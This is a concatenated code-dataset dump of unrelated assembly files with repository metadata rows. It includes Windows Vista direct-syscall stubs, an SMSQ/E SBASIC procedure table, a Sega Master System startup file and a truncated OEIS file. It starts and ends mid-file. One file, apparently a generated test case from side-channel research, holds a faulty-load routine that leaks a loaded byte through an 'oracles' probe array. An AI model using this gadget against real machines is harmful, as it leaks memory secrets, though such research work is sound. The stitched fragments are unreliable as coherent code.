, 370 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtShutdownWorkerFactory ENDP ; ULONG64 __stdcall NtSignalAndWaitForSingleObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtSignalAndWaitForSingleObject PROC STDCALL mov r10 , rcx mov eax , 371 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSignalAndWaitForSingleObject ENDP ; ULONG64 __stdcall NtSinglePhaseReject( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSinglePhaseReject PROC STDCALL mov r10 , rcx mov eax , 372 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSinglePhaseReject ENDP ; ULONG64 __stdcall NtStartProfile( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtStartProfile PROC STDCALL mov r10 , rcx mov eax , 373 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtStartProfile ENDP ; ULONG64 __stdcall NtStartTm( ); _6_0_6000_sp0_windows_vista_NtStartTm PROC STDCALL mov r10 , rcx mov eax , 374 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtStartTm ENDP ; ULONG64 __stdcall NtStopProfile( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtStopProfile PROC STDCALL mov r10 , rcx mov eax , 375 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtStopProfile ENDP ; ULONG64 __stdcall NtSuspendProcess( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtSuspendProcess PROC STDCALL mov r10 , rcx mov eax , 376 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSuspendProcess ENDP ; ULONG64 __stdcall NtSuspendThread( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtSuspendThread PROC STDCALL mov r10 , rcx mov eax , 377 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSuspendThread ENDP ; ULONG64 __stdcall NtSystemDebugControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtSystemDebugControl PROC STDCALL mov r10 , rcx mov eax , 378 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtSystemDebugControl ENDP ; ULONG64 __stdcall NtTerminateJobObject( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtTerminateJobObject PROC STDCALL mov r10 , rcx mov eax , 379 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtTerminateJobObject ENDP ; ULONG64 __stdcall NtTestAlert( ); _6_0_6000_sp0_windows_vista_NtTestAlert PROC STDCALL mov r10 , rcx mov eax , 380 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtTestAlert ENDP ; ULONG64 __stdcall NtThawRegistry( ); _6_0_6000_sp0_windows_vista_NtThawRegistry PROC STDCALL mov r10 , rcx mov eax , 381 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtThawRegistry ENDP ; ULONG64 __stdcall NtThawTransactions( ); _6_0_6000_sp0_windows_vista_NtThawTransactions PROC STDCALL mov r10 , rcx mov eax , 382 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtThawTransactions ENDP ; ULONG64 __stdcall NtTraceControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtTraceControl PROC STDCALL mov r10 , rcx mov eax , 383 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtTraceControl ENDP ; ULONG64 __stdcall NtTranslateFilePath( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtTranslateFilePath PROC STDCALL mov r10 , rcx mov eax , 384 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtTranslateFilePath ENDP ; ULONG64 __stdcall NtUnloadDriver( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtUnloadDriver PROC STDCALL mov r10 , rcx mov eax , 385 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtUnloadDriver ENDP ; ULONG64 __stdcall NtUnloadKey( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtUnloadKey PROC STDCALL mov r10 , rcx mov eax , 386 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtUnloadKey ENDP ; ULONG64 __stdcall NtUnloadKey2( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtUnloadKey2 PROC STDCALL mov r10 , rcx mov eax , 387 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtUnloadKey2 ENDP ; ULONG64 __stdcall NtUnloadKeyEx( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtUnloadKeyEx PROC STDCALL mov r10 , rcx mov eax , 388 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtUnloadKeyEx ENDP ; ULONG64 __stdcall NtUnlockFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtUnlockFile PROC STDCALL mov r10 , rcx mov eax , 389 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtUnlockFile ENDP ; ULONG64 __stdcall NtUnlockVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtUnlockVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 390 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtUnlockVirtualMemory ENDP ; ULONG64 __stdcall NtVdmControl( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtVdmControl PROC STDCALL mov r10 , rcx mov eax , 391 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtVdmControl ENDP ; ULONG64 __stdcall NtWaitForDebugEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtWaitForDebugEvent PROC STDCALL mov r10 , rcx mov eax , 392 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWaitForDebugEvent ENDP ; ULONG64 __stdcall NtWaitForKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtWaitForKeyedEvent PROC STDCALL mov r10 , rcx mov eax , 393 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWaitForKeyedEvent ENDP ; ULONG64 __stdcall NtWaitForWorkViaWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtWaitForWorkViaWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 394 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWaitForWorkViaWorkerFactory ENDP ; ULONG64 __stdcall NtWaitHighEventPair( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtWaitHighEventPair PROC STDCALL mov r10 , rcx mov eax , 395 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWaitHighEventPair ENDP ; ULONG64 __stdcall NtWaitLowEventPair( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtWaitLowEventPair PROC STDCALL mov r10 , rcx mov eax , 396 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWaitLowEventPair ENDP ; ULONG64 __stdcall NtWorkerFactoryWorkerReady( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtWorkerFactoryWorkerReady PROC STDCALL mov r10 , rcx mov eax , 397 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtWorkerFactoryWorkerReady ENDP
20.68063
361
0.801068
7e5c518115d5b07949f83175f9ad483d5c20c0e6
3,705
asm
Assembly
smsq/sbas/procs/procs.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/sbas/procs/procs.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/sbas/procs/procs.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; SBAS_PROCS_PROCS - Standard SBASIC Procedures V2.05  1992 Tony Tebby ; ; 2005-12-10 2.03 Added POKE_F, PEEK_F (MK) ; 2006-06-28 2.04 Added YEAR%, MONTH%, DAY%, WEEKDAY% ; 2016-04-16 2.05 Added ALPHA_BLEND (MK) section procs xdef sb_procs include 'dev8_keys_sbasic' include 'dev8_mac_proc' chk_heap move.l sb_chkhp(a6),a0 jmp (a0) ; heap checking patch sb_procs proc_stt proc_def PRINT proc_def RUN proc_def STOP proc_def INPUT proc_def COLOUR_QL proc_def COLOUR_PAL proc_def COLOUR_24 proc_def COLOUR_NATIVE proc_def BGCOLOUR_QL proc_def BGCOLOUR_24 proc_def BGIMAGE proc_def PALETTE_QL proc_def PALETTE_8 proc_def WINDOW proc_def BORDER proc_def INK proc_def STRIP proc_def PAPER proc_def BLOCK proc_def PAN proc_def SCROLL proc_def CSIZE proc_def FLASH proc_def UNDER proc_def OVER proc_def CURSOR proc_def AT proc_def ALPHA_BLEND proc_def SCALE proc_def POINT proc_def LINE proc_def ELLIPSE proc_def CIRCLE,ELLIPSE proc_def ARC proc_def POINT_R proc_def TURN proc_def TURNTO proc_def PENUP proc_def PENDOWN proc_def MOVE proc_def LIST proc_def OPEN ; channel open/close proc_def CLOSE proc_def FORMAT proc_def COPY proc_def COPY_N proc_def DELETE proc_def DIR ; filing system maintenance proc_def EXEC,exsb proc_def EXEC_W,ewsb proc_def LBYTES proc_def SEXEC proc_def SBYTES proc_def SAVE proc_def MERGE proc_def MRUN proc_def LOAD proc_def LRUN proc_def NEW proc_def CLEAR proc_def OPEN_IN proc_def OPEN_NEW proc_def CLS proc_def CALL,callsq proc_def RECOL proc_def RANDOMISE proc_def PAUSE proc_def POKE$ proc_def POKE proc_def POKE_W proc_def POKE_L proc_def POKE_F proc_def BAUD proc_def BEEP proc_def CONTINUE proc_def RETRY proc_def READ proc_def NET proc_def MODE proc_def RENUM proc_def DLINE proc_def SDATE proc_def ADATE proc_def LINE_R proc_def ELLIPSE_R proc_def CIRCLE_R,ELLIPSE_R proc_def ARC_R proc_def AUTO,ed proc_def EDIT,ed proc_def FILL proc_def WIDTH proc_def REPORT proc_def QMERGE proc_def QMRUN proc_def QLOAD proc_def QLRUN proc_def QSAVE proc_def QSAVE_O proc_def SBASIC proc_def QUIT proc_def JOB_NAME proc_def TK2_EXT proc_def LRESPR,lrespr proc_def EPROM_LOAD proc_def TRA proc_def PROT_DATE proc_def PROT_MEM proc_def SLUG proc_def CACHE_ON proc_def CACHE_OFF proc_def IO_PRIORITY proc_def LANG_USE proc_ref CHK_HEAP proc_end proc_stt proc_def ACOS proc_def ACOT proc_def ASIN proc_def ATAN proc_def COS proc_def COT proc_def EXP proc_def LN proc_def LOG10 proc_def SIN proc_def SQRT proc_def TAN proc_def DEG proc_def RAD proc_def RND proc_def INT proc_def ABS proc_def PI proc_def PEEK$ proc_def PEEK proc_def PEEK_W proc_def PEEK_L proc_def PEEK_F proc_def RESPR proc_def EOF proc_def EOFW proc_def INKEY$ proc_def CHR$ proc_def CODE proc_def KEYROW proc_def BEEPING proc_def LEN proc_def DIMN proc_def DAY$ proc_def DATE proc_def DATE$ proc_def YEAR%,year proc_def MONTH%,month proc_def DAY%,day proc_def WEEKDAY%,weekday proc_def FILL$ proc_def VER$ proc_def ERR_NC,err$nc proc_def ERR_NJ,err$nj proc_def ERR_OM,err$om proc_def ERR_OR,err$or proc_def ERR_BO,err$bo proc_def ERR_NO,err$no proc_def ERR_NF,err$nf proc_def ERR_EX,err$ex proc_def ERR_IU,err$iu proc_def ERR_EF,err$ef proc_def ERR_DF,err$df proc_def ERR_BN,err$bn proc_def ERR_TE,err$te proc_def ERR_FF,err$ff proc_def ERR_BP,err$bp proc_def ERR_FE,err$fe proc_def ERR_XP,err$xp proc_def ERR_OV,err$ov proc_def ERR_NI,err$ni proc_def ERR_RO,err$ro proc_def ERR_BL,err$bl proc_def ERNUM proc_def ERLIN proc_def LANGUAGE proc_def LANGUAGE$ proc_def DEVTYPE proc_end end
16.179039
71
0.792443
53d0dd0ef2f393e87abcc88702a66f6bc680d59c
6,771
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1054.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1054.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1054.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %r15 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x143ce, %r14 nop sub %r13, %r13 mov (%r14), %edi nop nop and $13710, %rdi lea addresses_D_ht+0x1a8ce, %rdi clflush (%rdi) nop nop nop add %r12, %r12 mov (%rdi), %r15 nop nop nop nop sub $28265, %r14 lea addresses_WC_ht+0x30ce, %rsi lea addresses_UC_ht+0xa4ce, %rdi nop nop nop nop sub $53829, %r11 mov $57, %rcx rep movsw and %rsi, %rsi lea addresses_normal_ht+0x1494e, %rdi nop inc %rsi movl $0x61626364, (%rdi) nop nop nop and %r13, %r13 lea addresses_A_ht+0x1e96e, %r13 nop xor $60253, %r14 mov (%r13), %rcx nop and $44350, %r15 lea addresses_D_ht+0x796e, %rcx nop nop nop nop cmp %rsi, %rsi and $0xffffffffffffffc0, %rcx movntdqa (%rcx), %xmm5 vpextrq $0, %xmm5, %r11 cmp %r13, %r13 lea addresses_normal_ht+0x1ccce, %r11 nop nop inc %rsi mov (%r11), %edi nop nop nop sub %rcx, %rcx lea addresses_normal_ht+0x3e6e, %rsi lea addresses_normal_ht+0x10bce, %rdi nop inc %r11 mov $113, %rcx rep movsq nop nop nop nop sub %r15, %r15 lea addresses_A_ht+0x24ce, %rsi lea addresses_normal_ht+0x13d8e, %rdi add %r13, %r13 mov $46, %rcx rep movsb nop inc %rcx lea addresses_UC_ht+0x5fde, %rsi lea addresses_A_ht+0x1374e, %rdi nop nop nop nop cmp %r13, %r13 mov $93, %rcx rep movsl nop add $47451, %rcx pop %rsi pop %rdi pop %rcx pop %r15 pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r9 push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0x1b6ce, %rsi mov $0x791a0500000004ce, %rdi sub %r13, %r13 mov $0, %rcx rep movsw nop nop add $48991, %r9 // Faulty Load lea addresses_WC+0xacce, %r12 nop add $11427, %rdi vmovups (%r12), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r11 lea oracles, %rsi and $0xff, %r11 shlq $12, %r11 mov (%rsi,%r11,1), %r11 pop %rsi pop %rdi pop %rcx pop %r9 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_NC', 'congruent': 11, 'same': False}, 'OP': 'REPM'} [Faulty Load] {'src': {'type': 'addresses_WC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': True, 'size': 16, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
39.138728
2,999
0.659282
e2fd4b74b6dfadd8ccaf3e2cde652d264f1fdce0
7,160
asm
Assembly
lib/sms_crt0.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
lib/sms_crt0.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
lib/sms_crt0.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; Startup Code for Sega Master System ; ; Haroldo O. Pinheiro February 2006 ; ; $Id: sms_crt0.asm,v 1.8 2015/01/21 07:05:00 stefano Exp $ ; DEFC ROM_Start = $0000 DEFC INT_Start = $0038 DEFC NMI_Start = $0066 DEFC CODE_Start = $0100 DEFC RAM_Start = $C000 DEFC RAM_Length = $2000 DEFC Stack_Top = $dff0 MODULE sms_crt0 ;------- ; Include zcc_opt.def to find out information about us ;------- INCLUDE "zcc_opt.def" ;------- ; Some general scope declarations ;------- EXTERN _main ;main() is always external to crt0 code PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) PUBLIC _std_seed ;Integer rand() seed PUBLIC exitsp ;Pointer to atexit() stack PUBLIC exitcount ;Number of atexit() functions registered PUBLIC __sgoioblk ;std* control block PUBLIC heaplast ;Near malloc heap variables PUBLIC heapblocks ; PUBLIC _vfprintf ;jp to printf() core routine PUBLIC fputc_vdp_offs ;Current character pointer PUBLIC aPLibMemory_bits;apLib support variable PUBLIC aPLibMemory_byte;apLib support variable PUBLIC aPLibMemory_LWM ;apLib support variable PUBLIC aPLibMemory_R0 ;apLib support variable PUBLIC raster_procs ;Raster interrupt handlers PUBLIC pause_procs ;Pause interrupt handlers PUBLIC timer ;This is incremented every time a VBL/HBL interrupt happens PUBLIC _pause_flag ;This alternates between 0 and 1 every time pause is pressed PUBLIC RG0SAV ;keeping track of VDP register values PUBLIC RG1SAV PUBLIC RG2SAV PUBLIC RG3SAV PUBLIC RG4SAV PUBLIC RG5SAV PUBLIC RG6SAV PUBLIC RG7SAV org ROM_Start jp start defm "Sega Master System - Small C+" ;------- ; Interrupt handlers ;------- filler1: defs (INT_Start - filler1) int_RASTER: push hl ld a, ($BF) or a jp p, int_not_VBL ; Bit 7 not set jr int_VBL int_not_VBL: pop hl reti int_VBL: ld hl, timer ld a, (hl) inc a ld (hl), a inc hl ld a, (hl) adc a, 1 ld (hl), a ;Increments the timer ld hl, raster_procs jr int_handler filler2: defs (NMI_Start - filler2) int_PAUSE: push hl ld hl, _pause_flag ld a, (hl) xor a, 1 ld (hl), a ld hl, pause_procs jr int_handler int_handler: push af push bc push de int_loop: ld a, (hl) inc hl or (hl) jr z, int_done push hl ld a, (hl) dec hl ld l, (hl) ld h, a call call_int_handler pop hl inc hl jr int_loop int_done: pop de pop bc pop af pop hl ei reti call_int_handler: jp (hl) ;------- ; Beginning of the actual code ;------- filler3: defs (CODE_Start - filler3) start: ; Make room for the atexit() stack ld hl,Stack_Top-64 ld sp,hl ; Clear static memory ld hl,RAM_Start ld de,RAM_Start+1 ld bc,RAM_Length-1 ld (hl),0 ldir ld (exitsp),sp IF !DEFINED_nostreams IF DEFINED_ANSIstdio ; Set up the std* stuff so we can be called again ld hl,__sgoioblk+2 ld (hl),19 ;stdin ld hl,__sgoioblk+6 ld (hl),21 ;stdout ld hl,__sgoioblk+10 ld (hl),21 ;stderr ENDIF ENDIF ld hl,$8080 ld (fp_seed),hl xor a ld (exitcount),a call DefaultInitialiseVDP im 1 ei ; Entry to the user code call _main cleanup: ; ; Deallocate memory which has been allocated here! ; push hl IF !DEFINED_nostreams IF DEFINED_ANSIstdio EXTERN closeall call closeall ENDIF ENDIF endloop: jr endloop l_dcal: jp (hl) ;--------------------------------- ; VDP Initialization ;--------------------------------- DefaultInitialiseVDP: push hl push bc ld hl,_Data ld b,_End-_Data ld c,$bf otir pop bc pop hl ret DEFC SpriteSet = 0 ; 0 for sprites to use tiles 0-255, 1 for 256+ DEFC NameTableAddress = $3800 ; must be a multiple of $800; usually $3800; fills $700 bytes (unstretched) DEFC SpriteTableAddress = $3f00 ; must be a multiple of $100; usually $3f00; fills $100 bytes _Data: defb @00000100,$80 ; |||||||`- Disable synch ; ||||||`-- Enable extra height modes ; |||||`--- SMS mode instead of SG ; ||||`---- Shift sprites left 8 pixels ; |||`----- Enable line interrupts ; ||`------ Blank leftmost column for scrolling ; |`------- Fix top 2 rows during horizontal scrolling ; `-------- Fix right 8 columns during vertical scrolling defb @10000100,$81 ; |||| |`- Zoomed sprites -> 16x16 pixels ; |||| `-- Doubled sprites -> 2 tiles per sprite, 8x16 ; |||`---- 30 row/240 line mode ; ||`----- 28 row/224 line mode ; |`------ Enable VBlank interrupts ; `------- Enable display defb (NameTableAddress/1024) |@11110001,$82 defb (SpriteTableAddress/128)|@10000001,$85 defb (SpriteSet/4) |@11111011,$86 defb $f|$f0,$87 ; `-------- Border palette colour (sprite palette) defb $00,$88 ; ``------- Horizontal scroll defb $00,$89 ; ``------- Vertical scroll defb $ff,$8a ; ``------- Line interrupt spacing ($ff to disable) _End: ;--------------------------------- ; Select which printf core we want ;--------------------------------- _vfprintf: IF DEFINED_floatstdio EXTERN vfprintf_fp jp vfprintf_fp ELSE IF DEFINED_complexstdio EXTERN vfprintf_comp jp vfprintf_comp ELSE IF DEFINED_ministdio EXTERN vfprintf_mini jp vfprintf_mini ENDIF ENDIF ENDIF ; Static variables kept in safe workspace IF !DEFINED_sysdefvarsaddr defc sysdefvarsaddr = RAM_Start+1024 ENDIF DEFVARS RAM_Start { __sgoioblk ds.b 40 ;stdio control block _std_seed ds.w 1 ;Integer seed exitsp ds.w 1 ;atexit() stack exitcount ds.b 1 ;Number of atexit() routines fp_seed ds.w 3 ;Floating point seed (not used ATM) extra ds.w 3 ;Floating point spare register fa ds.w 3 ;Floating point accumulator fasign ds.b 1 ;Floating point variable heapblocks ds.w 1 ;Number of free blocks heaplast ds.w 1 ;Pointer to linked blocks fputc_vdp_offs ds.w 1 ;Current character pointer aPLibMemory_bits ds.b 1 ;apLib support variable aPLibMemory_byte ds.b 1 ;apLib support variable aPLibMemory_LWM ds.b 1 ;apLib support variable aPLibMemory_R0 ds.w 1 ;apLib support variable raster_procs ds.w 8 ;Raster interrupt handlers pause_procs ds.w 8 ;Pause interrupt handlers timer ds.w 1 ;This is incremented every time a VBL/HBL interrupt happens _pause_flag ds.b 1 ;This alternates between 0 and 1 every time pause is pressed RG0SAV ds.b 1 ;keeping track of VDP register values RG1SAV ds.b 1 RG2SAV ds.b 1 RG3SAV ds.b 1 RG4SAV ds.b 1 RG5SAV ds.b 1 RG6SAV ds.b 1 RG7SAV ds.b 1 } IF !DEFINED_defvarsaddr defc defvarsaddr = RAM_Start+1024+256 ENDIF DEFVARS defvarsaddr { dummydummy ds.b 1 } ;-------- ; Now, include the math routines if needed.. ;-------- IF NEED_floatpack ; INCLUDE "float.asm" ENDIF
21.829268
113
0.625838
63264d6666e9738ac54cbd71360c1a22d7166e9f
517
asm
Assembly
programs/oeis/022/A022930.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/022/A022930.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/022/A022930.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
